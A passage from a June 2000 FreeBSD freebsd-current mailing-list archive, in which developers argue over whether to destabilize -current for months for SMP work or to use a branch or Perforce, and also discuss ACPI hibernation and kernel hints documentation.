locking primities (was Re: HEADS UP: Destabilization due to SMP development) References: <20000619180113.G79318@blitz.canonware.com> <51028.961486917@critter.freebsd.dk> <20000620111624.A58545@cons.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Martin Cracauer wrote: > > In <51028.961486917@critter.freebsd.dk>, Poul-Henning Kamp wrote: > > > > Am I the only person who miss a brief document which tells what > > the outcome of the meeting was ? > > Who was there, anyway? Yeah, those of us who couldn't make it are kinda (to say the least) interested in what was said/decided...!! > > -- __--_|\ Julian Elischer / \ julian@elischer.org ( OZ ) World tour 2000 )_.---._/ presently in: Budapest v To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:14:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (Postfix) with ESMTP id E2C6437B66E; Tue, 20 Jun 2000 11:14:46 -0700 (PDT) (envelope-from narvi@haldjas.folklore.ee) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.9.3/8.9.3) with SMTP id UAA74922; Tue, 20 Jun 2000 20:14:41 +0200 (EET) (envelope-from narvi@haldjas.folklore.ee) Date: Tue, 20 Jun 2000 20:14:41 +0200 (EET) From: Narvi To: Josef Karthauser Cc: Mike Smith , Andrew Reilly , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <20000620093853.C36774@pavilion.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 20 Jun 2000, Josef Karthauser wrote: > On Mon, Jun 19, 2000 at 05:40:30PM -0700, Mike Smith wrote: > > > > The real issue here is persistent system state across the S4 suspend; ie. > > leaving applications open, etc. IMO this isn't really something worth a > > lot of effort to us, and it has a lot of additional complications for a > > "server-class" operating system in that you have to worry about network > > connections from other systems, not just _to_ other systems. > > > > That said TCP/IP is very resilient :). I tried suspending to disk > my laptop, unplugging the batteries and ether card, taking it to another > part of the building and the firing it up. > > Pccardd saw the ethernet card, Dhclient saw the dhcp server and got > my ip address back, and my pre-existing remote terminal sessions > continued functioning :) Excellent. > > IMO if the machine is a server and you want to suspend it, who cares > about the clients at the other end? If you did you wouldn't suspend > it in the first place :) > You obviously haven't considered the ability to be able to near hot-swap motherboard and cpu - or even RAM - in this way. > Joe > > sander@haldjas.folklore.ee To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:35: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id ECF2A37BF17 for ; Tue, 20 Jun 2000 11:34:56 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA41016; Tue, 20 Jun 2000 12:34:51 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA70626; Tue, 20 Jun 2000 12:33:21 -0600 (MDT) Message-Id: <200006201833.MAA70626@harmony.village.org> To: Jason Evans Subject: Re: HEADS UP: Destabilization due to SMP development Cc: current@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Jun 2000 11:53:30 PDT." <20000619115330.D79318@blitz.canonware.com> References: <20000619115330.D79318@blitz.canonware.com> Date: Tue, 20 Jun 2000 12:33:21 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000619115330.D79318@blitz.canonware.com> Jason Evans writes: : Summary: -current will be destabilized for an extended period (on the order : of months). A tag (not a branch) will be laid down before the initial : checkin, and non-developers should either stick closely to that tag until : the kernel stabilizes, or expect large doses of pain. This tag will be : laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning : beforehand. Thanks for the fair warning. Now don't do it. Has core approved this? I don't think so, I've seen nothign from them about it. The instability ni -current for MONTHS is pain not acceptible. We've never really allowed that in the past. A CVS branch would be mcuh better for this sort of thing. I know that's a pain as well, but this is just for SMP people and the rest of us shouldn't have to deal with the pain. I understand your desire to have it all in a working tree, but causing pain for ALL developers for potentially MONTHS isn't a reasonable request. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:36:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 109E537BF56 for ; Tue, 20 Jun 2000 11:36:33 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA41032; Tue, 20 Jun 2000 12:36:29 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA70653; Tue, 20 Jun 2000 12:34:59 -0600 (MDT) Message-Id: <200006201834.MAA70653@harmony.village.org> To: Poul-Henning Kamp Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) Cc: Jason Evans , Matthew Dillon , current@FreeBSD.ORG In-reply-to: Your message of "Tue, 20 Jun 2000 09:41:57 +0200." <51028.961486917@critter.freebsd.dk> References: <51028.961486917@critter.freebsd.dk> Date: Tue, 20 Jun 2000 12:34:59 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <51028.961486917@critter.freebsd.dk> Poul-Henning Kamp writes: : Am I the only person who miss a brief document which tells what : the outcome of the meeting was ? : : Can we get to see the slides ? : : Audio ? : : Video ? I know that I'd love to see this. Steve Passe also is interested. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:40: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 3008B37BF7D; Tue, 20 Jun 2000 11:39:57 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id LAA91420; Tue, 20 Jun 2000 11:39:57 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Tue, 20 Jun 2000 11:39:57 -0700 (PDT) From: Kris Kennaway To: Warner Losh Cc: Poul-Henning Kamp , Jason Evans , Matthew Dillon , current@FreeBSD.ORG Subject: Re: SMP locking primities (was Re: HEADS UP: Destabilization due to SMP development) In-Reply-To: <200006201834.MAA70653@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 20 Jun 2000, Warner Losh wrote: > I know that I'd love to see this. Steve Passe also is interested. I heard that Greg Lehey was videotaping (he's currently at usenix) and someone else had slides they were going to make available. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:47:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id CF3EE37BF87; Tue, 20 Jun 2000 11:46:59 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA41146; Tue, 20 Jun 2000 12:46:54 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA70874; Tue, 20 Jun 2000 12:45:24 -0600 (MDT) Message-Id: <200006201845.MAA70874@harmony.village.org> To: "Daniel C. Sobral" Subject: Re: ACPI project progress report Cc: Mitsuru IWASAKI , freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org In-reply-to: Your message of "Sat, 17 Jun 2000 07:46:56 +0900." <394AAE60.B6F0EE2A@newsguy.com> References: <394AAE60.B6F0EE2A@newsguy.com> <20000617002156A.iwasaki@jp.FreeBSD.org> Date: Tue, 20 Jun 2000 12:45:24 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <394AAE60.B6F0EE2A@newsguy.com> "Daniel C. Sobral" writes: : Mitsuru IWASAKI wrote: : > : > - support S2, S3, S4 (hibernation) sleeping transition. S4 sleep : > require some hack in boot loader.... needs help. : : I thought hibernation was entirely controlled by kernel? What do you : need? You have to use the BIOS to put the machine into the state, but when the machine comes out of that state, it goes through the reset vector, at least for S4 (I think S2 and S3 as well, I don't have my copy of the standard handy). Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:48:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 04A1737BF0E for ; Tue, 20 Jun 2000 11:48:37 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA41160; Tue, 20 Jun 2000 12:48:34 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA70901; Tue, 20 Jun 2000 12:47:03 -0600 (MDT) Message-Id: <200006201847.MAA70901@harmony.village.org> To: The Hermit Hacker Subject: Re: FOLLOWING config changes? : Kernel profiling support Cc: Bosko Milekic , freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Jun 2000 02:43:49 -0300." References: Date: Tue, 20 Jun 2000 12:47:03 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message The Hermit Hacker writes: : : that did her, thanks ... should this maybe be mentioned in : /usr/src/UPDATING? I've gotten into the habit of pretty much checking : there first, and saw no mention of this (could be blind too, its happened : before) ... The new hints mechanism is mentioned in UPDATING, but there's not a complete entry/how-to for it. One needs to be written. I've nto had the time to do it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:49:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 5881437BFDE; Tue, 20 Jun 2000 11:49:18 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA41170; Tue, 20 Jun 2000 12:49:11 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA70919; Tue, 20 Jun 2000 12:47:38 -0600 (MDT) Message-Id: <200006201847.MAA70919@harmony.village.org> To: Bjoern Fischer Subject: Re: ACPI project progress report Cc: Mitsuru IWASAKI , acpi-jp@jp.freebsd.org, dcs@newsguy.com, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG In-reply-to: Your message of "Mon, 19 Jun 2000 07:01:44 +0200." <20000619070144.B554@broccoli.no-support.loc> References: <20000619070144.B554@broccoli.no-support.loc> <20000617002156A.iwasaki@jp.FreeBSD.org> <394AAE60.B6F0EE2A@newsguy.com> <394AB05C.569DD4DD@newsguy.com> <20000617135611E.iwasaki@jp.FreeBSD.org> Date: Tue, 20 Jun 2000 12:47:38 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000619070144.B554@broccoli.no-support.loc> Bjoern Fischer writes: : Just a moment. You talk about doing a `Save-to-Disk' (incl. system halt), : turning power off, maybe adding some hardware or moving the machine : to another location, then switching on again, restoring the system context, : and the machine will proceed as if nothing had happened, do you? The S4 sleep state of ACPI doesn't support changing the hardware configuration while you are in that state. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:49:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 3492337BFAE for ; Tue, 20 Jun 2000 11:49:46 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id UAA54767; Tue, 20 Jun 2000 20:49:28 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Warner Losh Cc: Jason Evans , current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development In-reply-to: Your message of "Tue, 20 Jun 2000 12:33:21 MDT." <200006201833.MAA70626@harmony.village.org> Date: Tue, 20 Jun 2000 20:49:27 +0200 Message-ID: <54765.961526967@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006201833.MAA70626@harmony.village.org>, Warner Losh writes: >In message <20000619115330.D79318@blitz.canonware.com> Jason Evans writes: >: Summary: -current will be destabilized for an extended period (on the order >: of months). A tag (not a branch) will be laid down before the initial >: checkin, and non-developers should either stick closely to that tag until >: the kernel stabilizes, or expect large doses of pain. This tag will be >: laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning >: beforehand. > >Thanks for the fair warning. Now don't do it. Has core approved >this? I don't think so, I've seen nothign from them about it. I think core has approved in principle, and several core members were present at the meeting (at least peter, dg, gibbs, dfr), that being said, I think we need to see some more concrete info before we pull the lever, just so we know what to expect. >The instability ni -current for MONTHS is pain not acceptible. Sorry, Warner, but progress has its price, and this may be it. >I understand your desire to have it all in a working tree, but causing >pain for ALL developers for potentially MONTHS isn't a reasonable >request. I belive the only viable alternative, as CVS branches are generally agreed to be >= 25 megasuckage caliber, is to switch the project to use Perforce. Until now at least, we have not done that, because developing open source with a closed source tool has been too much taboo for us to bother, and it would (as far as we know) not work with cvsup. I'm not sure now is the time to do it either. So: No I don't like -current being toast anymore than you do, but I don't think there is a viable alternative. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 11:59:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id D9FEA37C256 for ; Tue, 20 Jun 2000 11:59:12 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id MAA41240; Tue, 20 Jun 2000 12:59:11 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id MAA71034; Tue, 20 Jun 2000 12:57:42 -0600 (MDT) Message-Id: <200006201857.MAA71034@harmony.village.org> To: Poul-Henning Kamp Subject: Re: HEADS UP: Destabilization due to SMP development Cc: Jason Evans , current@FreeBSD.ORG In-reply-to: Your message of "Tue, 20 Jun 2000 20:49:27 +0200." <54765.961526967@critter.freebsd.dk> References: <54765.961526967@critter.freebsd.dk> Date: Tue, 20 Jun 2000 12:57:41 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <54765.961526967@critter.freebsd.dk> Poul-Henning Kamp writes: : I think core has approved in principle, and several core members : were present at the meeting (at least peter, dg, gibbs, dfr), that : being said, I think we need to see some more concrete info before : we pull the lever, just so we know what to expect. I'd like to see an explicit vote saying that current can be broken for months for SP users so the MP work can go in. It has often been said that individual core members do not speak for core. : >The instability ni -current for MONTHS is pain not acceptible. : : Sorry, Warner, but progress has its price, and this may be it. I don't think so. I've done all the NEWCARD work in the tree, and it hasn't broken anything else (at least not for more than a few hours when I screwed up). It has been painful for me to do it that way, but I think that some consideration should be given for the transition period for SP users. A few days or weeks I don't have a prblem with, but a few months is flat not acceptible. It is too long. If the code is that green, then some other mechanism needs to be used to facilitate collaberative working. I'd rather see a firm deadline proposed (eg, we'll commit the core on June 26, and will be done by Aug 26) so that I know what to expect rather than having the nebulous a few months phrase kicked around. I expected the newcard stuff to be working in a few months, and it has been about 8 so far. : So: No I don't like -current being toast anymore than you do, but : I don't think there is a viable alternative. Sure we do. They get their patches together, and commit them once they will cuase less pain. There's always alternatives. The issue here is who has to live with the pain. The MP guys could easily use perforce for this and then merge once things are stabilized enough to not impact SP people to the point that things won't be usable. The cam folks did this in the past, and it worked fairly well. Also, what if the new MP core goes in and one or more of the key players all of a sudden have no time to finish this due to unforseen circumstances? Will the tree remain broken while they sort this out? Again, I dont' want to hold up progress, but saying that it must be done this way and I have to put up with it for the sake of progerss is not a good justification. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 12: 5:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from gw.nectar.com (gw.nectar.com [209.98.143.44]) by hub.freebsd.org (Postfix) with ESMTP id 65E3637BF75 for ; Tue, 20 Jun 2000 12:05:44 -0700 (PDT) (envelope-from nectar@nectar.com) Received: from bone.nectar.com (bone.nectar.com [10.0.1.105]) by gw.nectar.com (Postfix) with ESMTP id A57249B2F; Tue, 20 Jun 2000 14:05:40 -0500 (CDT) Received: by bone.nectar.com (Postfix, from userid 1001) id A44611DC6; Tue, 20 Jun 2000 14:05:37 -0500 (CDT) Date: Tue, 20 Jun 2000 14:05:37 -0500 From: "Jacques A . Vidrine" To: Poul-Henning Kamp Cc: current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development Message-ID: <20000620140537.D29773@bone.nectar.com> References: <200006201833.MAA70626@harmony.village.org> <54765.961526967@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <54765.961526967@critter.freebsd.dk>; from phk@critter.freebsd.dk on Tue, Jun 20, 2000 at 08:49:27PM +0200 X-Url: http://www.nectar.com/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Jun 20, 2000 at 08:49:27PM +0200, Poul-Henning Kamp wrote: > So: No I don't like -current being toast anymore than you do, but > I don't think there is a viable alternative. Not even a seperate repository, as was done (briefly) for newbus? Of course, maybe that was done so briefly because it was painful... -- Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 12:20:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 7CB2237BF0E for ; Tue, 20 Jun 2000 12:20:36 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id MAA87999; Tue, 20 Jun 2000 12:20:29 -0700 (PDT) (envelope-from dillon) Date: Tue, 20 Jun 2000 12:20:29 -0700 (PDT) From: Matthew Dillon Message-Id: <200006201920.MAA87999@apollo.backplane.com> To: Warner Losh Cc: Jason Evans , current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development References: <20000619115330.D79318@blitz.canonware.com> <200006201833.MAA70626@harmony.village.org> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :: the kernel stabilizes, or expect large doses of pain. This tag will be :: laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning :: beforehand. : :Thanks for the fair warning. Now don't do it. Has core approved :this? I don't think so, I've seen nothign from them about it. : :The instability ni -current for MONTHS is pain not acceptible. We've :never really allowed that in the past. A CVS branch would be mcuh :better for this sort of thing. I know that's a pain as well, but this :is just for SMP people and the rest of us shouldn't have to deal with :the pain. : :I understand your desire to have it all in a working tree, but causing :pain for ALL developers for potentially MONTHS isn't a reasonable :request. : :Warner The problem is that the changes are simply too extensive to be able be able to split them off then merge them back into 5.x N months later. Creating another branch will tripple the workload on anyone doing merge work. We knew we'd probably have to do it this way months ago, and Chuck Paterson of BSDI confirmed it when he related his experiences with trying to manage the BSDI 5.x MP stuff as a separate branch. In short, it was a complete disaster, and I have no doubts that trying to manage it as a separate branch in FreeBSD would also result in a complete disaster. We've known this day was coming for ages... ever since Jordan announced the BSDI merger. Jordan and other core members have hinted, intimated, and outright told people that FreeBSD-current would be used for the BSDI merge work. Well, the time is now folks! -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 12:23:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 7D58737BDE1 for ; Tue, 20 Jun 2000 12:23:19 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id VAA55073; Tue, 20 Jun 2000 21:23:02 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Warner Losh Cc: Jason Evans , current@FreeBSD.ORG Subject: Re: HEADS UP: Destabilization due to SMP development In-reply-to: Your message of "Tue, 20 Jun 2000 12:57:41 MDT." <200006201857.MAA71034@harmony.village.org> Date: Tue, 20 Jun 2000 21:23:02 +0200 Message-ID: <55071.961528982@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006201857.MAA71034@harmony.village.org>, Warner Losh writes: >In message <54765.961526967@critter.freebsd.dk> Poul-Henning Kamp writes: >: I think core has approved in principle, and several core members >: were present at the meeting (at least peter, dg, gibbs, dfr), that >: being said, I think we need to see some more concrete info before >: we pull the lever, just so we know what to expect. > >I'd like to see an explicit vote saying that current can be broken for >months for SP users so the MP work can go in. It has often been said >that individual core members do not speak for core. I'm certainly not speaking for core, unless you see me saying so explcitly I never speak officially for core. I just tried to shed some light on the current status as best I knew it. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 12:28:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 7AACB37B7C4 for ; Tue, 20 Jun 2000 12:28:34 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id NAA41441; Tue, 20 Jun 2000 13:28:33 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id NAA71421; Tue, 20 Jun 2000 13:27:04 -0600 (MDT) Message-Id: <200006201927.NAA71421@harmony.village.org> To: Matthew Dillon Subject: Re: HEADS UP: Destabilization due to SMP development Cc: Jason Evans , current@FreeBSD.ORG In-reply-to: Your message of "Tue, 20 Jun 2000 12:20:29 PDT." <200006201920.MAA87999@apollo.backplane.com> References: <200006201920.MAA87999@apollo.backplane.com> <20000619115330.D79318@blitz.canonware.com> <200006201833.MAA70626@harmony.village.org> Date: Tue, 20 Jun 2000 13:27:03 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200006201920.MAA87999@apollo.backplane.com> Matthew Dillon writes: : The problem is that the changes are simply too extensive to be able : be able to split them off then merge them back into 5.x N months later. : Creating another branch will tripple the workload on anyone doing : merge work. One could argue that you could merge the changes to FreeBSD 5.X on a daily or weekly basis to that branch so that the branch doesn't get too far out of what. Perforce users do this all the time (cf the cam project). The model that I see is that a branch is created for SMP work, and that you find a volunteer who has access to SMP machines who will merge from current into the SMP branch once a week and boot the resulting kernel. If it works, he commits it, otherwise he resovles the problems. That way the main developers aren't significantly impacted by the merging. I'd be a lot happier if there was an upper bound on the length of time that -current would be unstable, if there was a plan in place on what to do if that timelimit was exceeded, if there was a roadmap I could look at, etc. Right now the vagueness of it all pushes my panic button. I'm trying to get more information so that I know if I should just calm down and it won't be that bad, or if I should pitch a huge fit because it will be too painful to make progress on any other front. Please help me with that. I'd also be happy if I could create a newcard branch off the last stable version of freebsd 5.0-current. That way I could continue my work with others and the instability wouldn't matter. All merging, if any, would be my responsibility. I don't know what the level of pain Of course the same arugment about merging you make could be made for new kernel work. They will either have to live with the pain (which is currently ill-defined at best, knowing what the pain would be would help my confort level), or do their work and then redo it on the new and improved FreeBSD months later. Why should SMP force others to do that? Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 13:21:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from Awfulhak.org (tun.AwfulHak.org [194.242.139.173]) by hub.freebsd.org (Postfix) with ESMTP id 61A9B37C063 for ; Tue, 20 Jun 2000 13:21:32 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (root@hak.lan.awfulhak.org [172.16.0.12]) by Awfulhak.org (8.9.3/8.9.3) with ESMTP id VAA11321; Tue, 20 Jun 2000 21:15:30 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (brian@localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id VAA66308; Tue, 20 Jun 2000 21:15:27 +0100 (BST) (envelope-from brian@Awfulhak.org) Message-Id: <200006202015.VAA66308@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Matthew Dillon Cc: Warner Losh , Jason Evans , current@FreeBSD.ORG, brian@hak.lan.Awfulhak.org Subject: Re: HEADS UP: Destabilization due to SMP development In-Reply-To: Message from Matthew Dillon of "Tue, 20 Jun 2000 12:20:29 PDT." <200006201920.MAA87999@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 20 Jun 2000 21:15:27 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What about doing the changes on a branch with the understanding that the branch will *replace* HEAD when it stabilises ? This sounds odd at first glance, but it means that others are forced to MFC into the smp branch - if they don't they lose. Anybody that's not confident to be able to merge into the smp branch will simply be in the same position - merge or hold off. They'd also be just as likely to break the smp work with their commits as if the smp work was done in HEAD. > :: the kernel stabilizes, or expect large doses of pain. This tag will be > :: laid down as soon as June 26, 00:00 PST, with a minimum 24 hour warning > :: beforehand. > : > :Thanks for the fair warning. Now don't do it. Has core approved > :this? I don't think so, I've seen nothign from them about it. > : > :The instability ni -current for MONTHS is pain not acceptible. We've > :never really allowed that in the past. A CVS branch would be mcuh > :better for this sort of thing. I know that's a pain as well, but this > :is just for SMP people and the rest of us shouldn't have to deal with > :the pain. > : > :I understand your desire to have it all in a working tree, but causing > :pain for ALL developers for potentially MONTHS isn't a reasonable > :request. > : > :Warner > > The problem is that the changes are simply too extensive to be able > be able to split them off then merge them back into 5.x N months later. > Creating another branch will tripple the workload on anyone doing > merge work. > > We knew we'd probably have to do it this way months ago, and Chuck > Paterson of BSDI confirmed it when he related his experiences with > trying to manage the BSDI 5.x MP stuff as a separate branch. > In short, it was a complete disaster, and I have no doubts that > trying to manage it as a separate branch in FreeBSD would also result > in a complete disaster. > > We've known this day was coming for ages... ever since Jordan announced > the BSDI merger. Jordan and other core members have hinted, intimated, > and outright told people that FreeBSD-current would be used for the BSDI > merge work. Well, the time is now folks! > > -Matt > Matthew Dillon > -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 20 13:31:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id C6FAB37C359 for ; Tue, 20 Jun 2000 13:31:28 -0700 (PDT) (envelope-from 